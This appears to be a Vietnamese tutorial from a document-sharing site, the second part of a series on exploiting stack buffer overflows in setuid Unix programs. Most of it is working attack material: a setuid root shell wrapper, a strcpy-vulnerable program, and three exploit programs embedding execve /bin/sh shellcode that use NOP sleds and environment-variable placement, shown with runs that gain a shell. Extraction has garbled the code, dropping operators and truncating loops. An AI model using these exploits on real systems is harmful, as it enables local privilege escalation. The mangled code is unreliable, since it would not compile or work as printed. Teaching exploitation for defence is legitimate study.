KỸ THUẬT KHAI THÁC LỖI TRÀN TRONG BỘ ĐỆM (Phần 2)
lượt xem 40
download
Trên các hệ điều hành đa người dùng nói chung và UNIX nói riêng, thiết kế truyền thống cho phép user root (superuser) có quyền tối cao có thể thực hiện mọi thao tác trên hệ thống. Hơn nữa, có một số thao tác đòi hỏi buộc phải có quyền root mới có thể thực hiện được, ví dụ thay đổi mật khẩu (phải cập nhật file /etc/passwd). Để người dùng bình thường có thể thực hiện được các thao tác này, hệ thống UNIX cung cấp một cơ chế thiết lập quyền thực tế của tiến trình đang thực thi thông qua các...
Bình luận(0) Đăng nhập để gửi bình luận!
Nội dung Text: KỸ THUẬT KHAI THÁC LỖI TRÀN TRONG BỘ ĐỆM (Phần 2)
- KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM (Phần 2) trang này đã được đọc lần Phần 2: Kỹ thuật khai thác lỗi tràn bộ đệm Mục lục 1. Quyền root và chương trình setuid/setgid • 2. Chương trình bị tràn bộ đệm • 3. Tổ chức shellcode trên bộ nhớ • 4. Xác định địa chỉ shellcode • 5. Viết chương trình khai thác lỗi tràn bộ đệm • o 5.1. Truyền shellcode qua bộ đệm 5.2. Truyền shellcode qua biến môi trường o 6. Kết luận • Tài liệu tham khảo • Liên kết • 1. Quyền root và chương trình setuid/setgid Trên các hệ điều hành đa người dùng nói chung và UNIX nói riêng, thiết kế truyền thống cho phép user root (superuser) có quyền tối cao có thể thực hiện mọi thao tác trên hệ thống. Hơn nữa, có một số thao tác đòi hỏi buộc phải có quyền root mới có thể thực hiện được, ví dụ thay đổi mật khẩu (phải cập nhật file /etc/passwd). Để người dùng bình thường có thể thực hiện được các thao tác này, hệ thống UNIX cung cấp một cơ chế thiết lập quyền thực tế của tiến trình đang thực thi thông qua các hàm thiết lập quyền như setuid()/setgid(), seteuid()/setegid(), setruid()/setrgid(). Quyền thực tế sẽ được hệ thống tự động thiết lập thông qua bit thuộc tính suid/sgid của file chương trình. Ví dụ chương trình passwd được suid root: rsxx 1 root root 12244 Feb 8 2000 /usr/bin/passwd Khi user bình thường thực thi chương trình, quyền thực tế có được sẽ là quyền của người sở hữu (owner) file, ở đây là root. Do yêu cầu sử dụng, trên hệ thống UNIX thường có nhiều file chương trình được thiết lập thuộc tính suid (cho owner, group). Ví dụ sau sẽ minh hoạ rõ hơn điều này: /* suidsh.c */ void main() { setuid(0); system("/bin/sh"); } [SkZ0@gamma bof]$ gcc o suidsh suidsh.c [SkZ0@gamma bof]$ su Password: # chown root.root suidsh
- # chmod 4755 suidsh # exit [SkZ0@gamma bof]$ ls l suidsh rwsrxrx 1 root root 13637 Mar 26 15:54 suidsh [SkZ0@gamma bof]$ id uid=501(SkZ0) gid=501(SkZ0) groups=501(SkZ0) [SkZ0@gamma bof]$ ./suidsh bash# id uid=0(root) gid=501(SkZ0) groups=501(SkZ0) Có thể thấy, nếu chương trình suid/sgid bị lỗi bảo mật, hacker sẽ tận dụng điều này để điều khiển chương trình thực hiện mã lệnh bất kỳ trên hệ thống với quyền cao hơn và thậm chí với quyền cao nhất root. Đó chính là mục đích của việc khai thác các lỗ hổng bảo mật trên máy tại chỗ (local). 2. Chương trình bị tràn bộ đệm Để minh hoạ cách tổ chức và chèn shellcode vào chương trình bị lỗi, ta sẽ sửa lại một chút chương trình vuln.c đã ví dụ ở phần 1: /* vuln1.c */ int main(int argc, char **argv) { char buf[500]; if (argc>1) { strcpy(buf, argv[1]); printf("%s\n", buf); } } Kích thước của bộ đệm buf là 500 byte. Từ những trình bày ở phần trước, để khai thác lỗi tràn bộ đệm trong chương trình vuln1.c chúng ta chỉ cần ghi đè giá trị của "con trỏ lệnh bảo lưu" (saved instruction pointer) được lưu trên stack bằng địa chỉ mã lệnh mong muốn, ở đây chính là địa chỉ bắt đầu của shellcode. Như vậy chúng ta cần phải sắp xếp shellcode ở đâu đó trên bộ nhớ stack và xác định địa chỉ bắt đầu của nó. 3. Tổ chức shellcode trên bộ nhớ Vấn đề của việc tổ chức shellcode trên bộ nhớ là làm thế nào để chương trình khai thác lỗi có thể xác định được địa chỉ bắt đầu của bộ đệm chứa shellcode bên trong chương trình bị lỗi. Thông thường, ta không thể biết một cách chính xác địa chỉ của bộ đệm trong chương trình bị lỗi (phụ thuộc vào biến môi trường, tham số khi thực thi), do đó ta sẽ xác định một cách gần đúng. Điều này có nghĩa chúng ta phải tổ chức bộ đệm chứa shellcode sao cho khi bắt đầu ở một địa chỉ có thể lệch so với địa chỉ chính xác mà shellcode vẫn thực thi không hề bị ảnh hưởng. Lệnh máy NOP (No OPeration) giúp ta đạt được điều này. Khi gặp một lệnh NOP, CPU sẽ không làm gì cả ngoài việc tăng con trỏ lệnh đến lệnh kế tiếp.
- Như vậy, chúng ta sẽ lấp đầy phần đầu của bộ đệm bằng các lệnh NOP, kế đó là shellcode. Hơn nữa, để không phải tính toán chính xác vị trí lưu con trỏ lệnh bảo lưu trên stack, chúng ta sẽ chỉ đặt shellcode ở khoảng giữa của bộ đệm, phần còn lại sẽ chứa toàn các giá trị địa chỉ bắt đầu của shellcode. Cuối cùng, bộ đệm chứa shellcode sẽ có dạng: Hình 1: Tổ chức shellcode trên bộ nhớ Hình sau mô tả trạng thái của stack trước và sau khi tràn bộ đệm xảy ra. Hình 2: Trạng thái stack trước và sau khi tràn bộ đệm Before After
- Có một vấn đề cũng cấn lưu ý ở đây là sự sắp xếp (alignment) biến trên stack. Giá trị địa chỉ có độ dài 4 byte (32 bit), vì vậy khi được sắp vào stack không phải lúc nào cũng chính xác như mong muốn. Ở phần trước chúng ta đã biết stack sử dụng đơn vị là word có độ dài 4 byte, do đó độ lệch do sắp không đúng sẽ là 1, 2 hoặc 3 byte. Hình 3: Các khả năng sắp xếp biến trên stack Chỉ có một trường hợp sắp xếp đúng sẽ làm việc, các trường hợp khác sẽ dẫn đến báo lỗi "segmentation violation" hoặc "illegal instruction", tuy nhiên chúng ta có thể sử dụng phương pháp "thử và sai" để tìm được sự sắp xếp đúng trong bộ nhớ không mấy khó khăn. 4. Xác định địa chỉ shellcode Vấn đề quan trọng nhất là làm thế nào để "đoán trước" được địa chỉ bắt đầu của bộ đệm chứa shellcode bên trong chương trình bị lỗi. Nhờ cách tổ chức shellcode với các NOP ở trên, địa chỉ này chỉ cần gần đúng sao cho rơi vào khoảng giữa các lệnh NOP trên bộ đệm shellcode. Một điểm đặc biệt là mọi chương trình khi thực thi đều có địa chỉ bắt đầu stack như nhau (lưu ý: trên không gian địa chỉ ảo. Ví dụ: giá trị này trên Linux là 0xbfffffff, trên FreeBSD là 0xbfbfffff) và thường các chương trình ít khi push vào stack ngay một lúc vài ngàn byte. Do đó, ta có thể đoán được địa chỉ bắt đầu của bộ đệm chứa shellcode trên stack trong chương trình bị lỗi dựa vào độ lệch so với địa chỉ đỉnh stack hiện tại của chương trình khai thác lỗi. Độ lệch này có thể mang giá trị âm hoặc giá trị dương (xem lại phần 1). Đoạn chương trình sau sẽ in ra giá trị của con trỏ stack SP: /* sp.c */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); }
- void main() { printf("0x%x\n", get_sp()); } [SkZ0@gamma bof]$ gcc o sp sp.c [SkZ0@gamma bof]$ ./sp 0xbffffa50 [SkZ0@gamma bof]$ Địa chỉ gần đúng của bộ đệm chứa shellcode sẽ được xác định theo công thức: SP +() OFFSET 5. Viết chương trình khai thác lỗi tràn bộ đệm Chúng ta đã biết những gì cần thiết để khai thác lỗi tràn bộ đệm, bây giờ cần phải kết hợp lại. Các bước cơ bản của kỹ thuật tràn bộ đệm là: chuẩn bị bộ đệm dùng để làm tràn (như ở phần trên), xác định địa chỉ trả về (RET) và độ lệch do sắp biến, xác định địa chỉ của bộ đệm chứa shellcode, cuối cùng gọi thực thi chương trình bị tràn bộ đệm. Có một số cách để tổ chức shellcode trên bộ nhớ và truyền cho chương trình bị lỗi, trước tiên chúng ta sẽ xem xét phương pháp cơ bản nhất: shellcode được truyền thông qua bộ đệm của chương trình bị lỗi. Phương pháp này không phải là cách dễ dàng nhất để khai thác lỗi tràn bộ đệm trên máy tại chỗ (local) nhưng đây là cách tổng quát nhất để khai thác lỗi tràn bộ đệm tại chỗ cũng như từ xa. Xem trong ví dụ trên, shellcode sẽ được tổ chức và truyền qua bộ đệm buf của chương trình vuln1.c 5.1. Truyền shellcode qua bộ đệm Chương trình khai thác lỗi tràn bộ đệm sau của chúng ta sẽ nhận 3 giá trị tham số: tên chương trình bị lỗi, kích thước bộ đệm dùng để làm tràn và giá trị độ dời so với con trỏ stack hiện tại (ví trị dự đoán của bộ đệm chứa shellcode). /* exploit1.c */ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 // mã asm của lệnh NOP char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50" "\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80"; unsigned long get_sp(void) {
- __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc 2) bsize = atoi(argv[2]); if (argc > 3) offset = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() offset; printf("Using address: 0x%x\n", addr); ptr = buff; /* lấp đầy bộ đệm làm tràn với các địa chỉ của shellcode */ addr_ptr = (long *) ptr; for (i = 0; i
- Kích thước của bộ đệm dùng làm tràn lớn hơn so với bộ đệm bị tràn khoảng 100 byte là tốt nhất. Khi đó bộ đệm làm tràn có phần đầu khá lớn chứa các NOP, phần cuối chứa shellcode và địa chỉ đủ để làm tràn và ghi đè lên giá trị địa chỉ trả về (RET). Hãy thử chương trình khai thác lỗi vừa viết. [SkZ0@gamma bof]$ ./exploit1 ./vuln1 600 Using address: 0xbffffa1c ( ... ) bash$ Thử với giá trị độ dời: [SkZ0@gamma bof]$ ./exploit1 ./vuln1 600 100 Using address: 0xbffff9a8 ( ... ) [SkZ0@gamma bof]$ ./exploit1 ./vuln1 600 100 Using address: 0xbffffa70 ( ... ) bash$ 5.2. Truyền shellcode qua biến môi trường Bây giờ, hãy quay trở lại với ví dụ đầu tiên, chương trình vuln.c (xem phần 1). Có thể thấy chương trình exploit1.c không thể khai thác được lỗi tràn bộ đệm trong vuln.c do kích thước bộ đệm bị tràn quá nhỏ (16 byte) không đủ để đặt vừa shellcode. Khi đó địa chỉ trả về sẽ bị ghi đè bởi các mã lệnh thay vì giá trị địa chỉ cần nhảy đến. Để vượt qua trở ngại này, chúng ta sẽ dùng một "bộ đệm" khác để lưu trữ shellcode. Thông thường có thể dùng biến môi trường (environment) hoặc một tham số dòng lệnh chương trình (argument) để chứa shellcode do các biến này đều được cấp trên stack, tuy nhiên sử dụng biến môi trường là phương pháp đơn giản và hiệu quả hơn. Với shellcode được chứa trong biến môi trường, bộ đệm dùng để làm tràn chỉ đơn giản chứa toàn giá trị địa chỉ (phỏng đoán) của biến môi trường chứa shellcode. Chương trình exploit1.c được sửa lại như sau (có thêm một tham số là kích thước của bộ đệm chứa shellcode). /* exploit2.c */ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048
- #define NOP 0x90 // mã asm của lệnh NOP char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50" "\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc 2) bsize = atoi(argv[2]); if (argc > 3) offset = atoi(argv[3]); if (argc > 4) eggsize = atoi(argv[4]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() offset; printf("Using address: 0x%x\n", addr); /* bộ đệm làm tràn chỉ chứa toàn địa chỉ shellcode */ ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i
- for (i = 0; i
- envpn = 0xBFFFFFFF 4 // 4 NULL bytes strlen(program_name) // chiều dài chuỗi tên chương trình 1 // giá trị null của chuỗi tên chương trình strlen(envp[n])) // độ dài của biến môi trường cuối cùng hay rút gọn: envpn = 0xBFFFFFFA strlen(prog_name) strlen(envp[n]) Các hàm gọi thực thi chương trình như execle, execve cho phép truyền con trỏ biến môi trường cho chương trình được gọi. Tận dụng điều này chúng ta có thể truyền trực tiếp bộ đệm chứa shellcode cho chương trình bị lỗi thông qua con trỏ biến môi trường, và tính được chính xác địa chỉ của nó. Công thức để tính đia chỉ của shellcode: addr = 0xBFFFFFFA strlen(prog_name) strlen(shellcode); Chương trình khai thác lỗi mới được viết như sau: /* exploit3.c */ #include #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 // mã asm của lệnh NOP char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50" "\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80"; void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int bsize=DEFAULT_BUFFER_SIZE; int i; char *env[2] = {shellcode, NULL}; if (argc 2) bsize = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); }
- addr = 0xbffffffa strlen(shellcode) strlen(argv[1]); printf("Using address: 0x%x\n", addr); /* bộ đệm làm tràn chỉ chứa toàn địa chỉ shellcode */ ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i
CÓ THỂ BẠN MUỐN DOWNLOAD
-
KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM - Phần 1
14 p | 295 | 78
-
KỸ THUẬT KHAI THÁC LỖI TRÀN TRONG BỘ ĐỆM
66 p | 290 | 77
-
KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM
14 p | 253 | 76
-
KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM (Phần 2)
10 p | 190 | 58
-
KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM - Phần 2
10 p | 131 | 21
-
Khai thác lỗi phần mềm
12 p | 175 | 19
-
Làm tràn bộ đệm bằng 1 byte
13 p | 97 | 12
-
10 loại virus tàn phá khủng khiếp nhất lịch sử Internet
3 p | 88 | 6
-
Buffer overflow: Module 17
9 p | 75 | 5
Chịu trách nhiệm nội dung:
Nguyễn Công Hà - Giám đốc Công ty TNHH TÀI LIỆU TRỰC TUYẾN VI NA
LIÊN HỆ
Địa chỉ: P402, 54A Nơ Trang Long, Phường 14, Q.Bình Thạnh, TP.HCM
Hotline: 093 303 0098
Email: support@tailieu.vn